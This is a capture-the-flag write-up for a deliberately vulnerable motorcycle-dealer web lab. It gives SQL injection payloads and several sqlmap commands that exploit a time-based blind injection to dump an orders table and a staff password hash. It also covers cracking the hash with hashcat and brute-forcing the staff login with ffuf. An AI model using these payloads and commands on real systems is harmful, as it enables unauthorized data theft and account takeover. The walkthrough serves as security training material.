Goat Gear Garage

Kyle opened Goat Gear Garage with a single 1972 Triumph Bonneville and a handshake loan. Twenty years later the inventory spans sixty bikes and the shop is still the same three bays. The website went live in 2019 and hasn't had a code review since.

Room Description

Goat Gear Garage — figure 1

https://dashboard.webverselabs-pro.com/events/goatgeargarage

Briefing

Kyle opened Goat Gear Garage with a single 1972 Triumph Bonneville and a handshake loan. Twenty years later the inventory spans sixty bikes and the shop is still the same three bays. The website went live in 2019 and hasn't had a code review since. Order #1 in the system is Kyle's personal bike — he marked it sold to himself and left a note in the system that nobody else was supposed to read.

Initial Analysis

We have a motorcycle dealer shop, with a limited amount of options for a motorcycle since they are handpicked.

Goat Gear Garage — figure 2

The available endpoints we can see from the footer:

      <div class="footer-col">
        <a href="/inventory">Browse Inventory</a>
        <a href="/parts">Parts Catalog</a>
        <a href="/service">Service Request</a>
        <a href="/about">About the Garage</a>
      </div>
      <div class="footer-col footer-col--right">
        <a href="/staff/login" class="staff-link">Staff portal &rarr;</a>
      </div>

Finding the bug

Let's look at the all the bits and doodats. /parts is just a static list of gear the dealership offers.

Goat Gear Garage — figure 3

The /service endpoint just a form that if there were users reading could probably be looked at for XSS and the likes, or if reflected other types of attacks of course.

Goat Gear Garage — figure 4

The /about endpoint is just a general description of the dealership and open hours.

Goat Gear Garage — figure 5

And then we have /inventory, a filterable list of all the bikes available in the shop, seems like the most likely entrypoint to me. You can open bikes individually, maybe try an IDOR or something, but that also gets you no where.

Goat Gear Garage — figure 6

We know there are 8 bikes in total from the normal search results, let's see if we can manipulate the results somehow using typical tricks by inserting quotes or adding boolean statements.

Goat Gear Garage — figure 7
' OR 1=1 --
Goat Gear Garage — figure 8
' OR 1=1 -- -
Goat Gear Garage — figure 9

Great, the trailing dash worked! Now we need to jump towards sqlmap, or we can try some manual exploration first.

Exploitation

Okay, so we don't error out the database and we inject inside the query, this means that this will probably be a blind challenge, since if we try ORDER BY payloads, it actually orders the inventory based on the column we select, and if we try UNION SELECT payloads, we get no results.

We also need to instantly try ' OR 1=2 -- - to confirm whether this is a boolean based attack or not, if we get the same result for both 1=1 and 1=2, then it isn't a boolean based blind injection.

Goat Gear Garage — figure 10

Next thing we can try is to add a SLEEP statement and see if the web app hangs for a specific amount of time.

' AND SLEEP(2) -- -
Goat Gear Garage — figure 11

There is definitely a difference in time to load, it isn't 2 seconds though, but we will take what we can get, and consider this as a confirmation for time-based blind SQL injection.

Alright, from what we know now, we can pretty much hand everything to sqlmap:

sqlmap -r ../req -p make --technique=T --time-sec=3 --level=5 --risk=3 --batch --dbs --random-agent

We know make is the vulnerable parameter since that the where we are inputting our test payloads, we add a 3 second sleep statement and include level 5 and risk 3 for more aggressive payloads, as well as batch so we don't need to hit Y/N and random-agent so we can bypass simple protection.

Goat Gear Garage — figure 12

We now know which database to target so let's add it as a switch and add table enumeration.

sqlmap -r ../req -p make --technique=T --time-sec=3 --level=5 --risk=3 --batch --dbs --random-agent -D goatgear --tables
Goat Gear Garage — figure 13

We can try and enumerate all the tables, but the one we want is orders.

Order #1 in the system is Kyle's personal bike — he marked it sold to himself and left a note in the system that nobody else was supposed to read.

So we just add it in our command and look for the columns.

sqlmap -r ../req -p make --technique=T --time-sec=3 --level=5 --risk=3 --batch --dbs --random-agent -D goatgear -T orders --columns

This one took a while to extract, I didn't expect there to be so many columns honestly, was kind of looking forward to id and value hahaha, either way, we got them all:

Goat Gear Garage — figure 14

We can reference the challenge description about the note part and realize that the only column we really need is staff_notes.

sqlmap -r ../req -p make --technique=T --time-sec=3 --level=5 --risk=3 --batch --dbs --random-agent -D goatgear -T orders -C staff_notes --dump

Now, I would bother you with the output that I waited so long, and that is exactly what I will do, but turns out orders isn't the table we are interested in.

Goat Gear Garage — figure 15

I wasn't sure whether I was missing something, since I was convinced orders is the table we want, so I tried to check the other columns as well, and when I saw generic values I stopped sqlmap.

Goat Gear Garage — figure 16

I looked back on my output and I saw:

+----+---------+----------+---------------------+-----------------+---------------+
| id | bike_id | status   | created_at          | staff_notes     | customer_name |
+----+---------+----------+---------------------+-----------------+---------------+
| 1  | 1       | closed   | 2026-05-11 16;39:15 | Showroom king â | Kyle          |
+----+---------+----------+---------------------+-----------------+---------------+

Showroom king â

The last character surely is causing some sort of issue, so I decided to rerun sqlmap with --hex in case there are non ascii characters.

sqlmap -r ../req -p make --technique=T --time-sec=1 --level=5 --risk=3 --batch --dbms mysql --random-agent -D goatgear -T orders --columns --dump --hex --fresh-queries
Goat Gear Garage — figure 17

Results are better but it still isn't what we need it to be. We can retry again just focusing staff_notes, increasing the time for SLEEP commands to 3 seconds and praying for less junk ^^.

sqlmap -r ../req -p make --technique=T --time-sec=1 --level=5 --risk=3 --batch --dbms mysql --random-agent -D goatgear -T orders -C staff_orders --dump --hex --fresh-queries

And after a long long while waiting for the results we do manage to get the flag!

Goat Gear Garage — figure 18

Alternate way in through staff table

Turns out that staff_notes isn't the only way to get the flag, the staff table holds a username and a password hash for the Kyle user which you can crack and login to the staff portal. It's pretty much the same query, just a waiting game, you need to target the staff table instead and then crack the password hash. If it errors out you can also force sqlmap to consider it as a binary field.

sqlmap -r ../req -p make --technique=T --time-sec=2 --level=5 --risk=3 --batch --dbms mysql --random-agent -D goatgear -T staff --columns --dump --hex --fresh-queries
Goat Gear Garage — figure 19

For some raeson the hash didn't get extracted properly, but you just need to tamper around with sqlmap and you'll get it, like I mentioned with binary-field and maybe letting it know how many characters it can go for, either way, a waiting game and then just crack it with hashcat + rockyou.txt.

Lame alternative way through password bruteforce

We can also bruteforce the /staff/login portal with the username kyle that we can assume exists because of the placeholder.

We know what a baseline failed login request looks like, and it has a 2882 content length so we can filter that out and use FFUF to try to bruteforce. We are also filtering 401 out since for wrong credentials we get that code.

ffuf -u https://573cff7a-3970-goatgeargarage-72e7e.events.webverselabs-pro.com/staff/login \
-X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=kyle&password=FUZZ" -w /usr/share/wordlists/rockyou.txt -fs 2882 -fc 401
Goat Gear Garage — figure 20
Goat Gear Garage — figure 21
Goat Gear Garage — figure 22